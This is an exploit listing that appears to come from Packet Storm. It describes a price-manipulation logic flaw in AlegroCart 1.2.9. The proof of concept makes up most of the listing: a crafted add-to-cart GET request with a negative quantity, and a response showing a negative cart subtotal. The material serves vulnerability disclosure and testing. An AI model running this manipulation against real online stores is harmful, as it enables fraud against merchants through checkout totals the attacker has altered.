AlegroCart 1.2.9 Logic Flaw

Exploit Details

Basic Information

Exploit Title AlegroCart 1.2.9 Logic Flaw
Exploit ID PACKETSTORM:190657
Type packetstorm
Published 2025-04-24T00:00:00
Modified 2025-04-24T00:00:00

CVSS Information

CVSS Score 0.0
Severity NONE
Vector NONE

CVE Information

Exploit Description

AlegroCart version 1.2.9 suffers from…

Exploit Code

# Exploit Title: Business Logic Flaw: Price Manipulation – alegrocartv1.2.9
# Date: 04/2025
# Exploit Author: Andrey Stoykov
# Version: 1.2.9
# Tested on: Debian 12
# Blog: https://msecureltd.blogspot.com/

Business Logic Flaw: Price Manipulation #1:

Steps to Reproduce:

1. Visit the store and add a product
2. Intercept the HTTP GET request and add negative value to the “quantity”
parameter

// HTTP GET request

GET
/alegrocart/index.php?controller=addtocart&action=add&item=10&quantity=-100
HTTP/1.1
Host: 192.168.58.129
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0)
Gecko/20100101 Firefox/138.0
[…]

// HTTP response

HTTP/1.1 200 OK
Date: Thu, 03 Apr 2025 22:16:58 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
Perl/v5.16.3
X-Powered-By: PHP/5.6.40
Cache-Control: max-age=0, private, no-store, no-cache, must-revalidate
Expires: Thu, 03 Apr 2025 22:16:58 GMT
Vary: Accept-Encoding
Content-Length: 813
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Cart
^

-100 x  $-1,599.00

Subtotal:$-1,599.00

1 Product(s) –

-100 Item(s)

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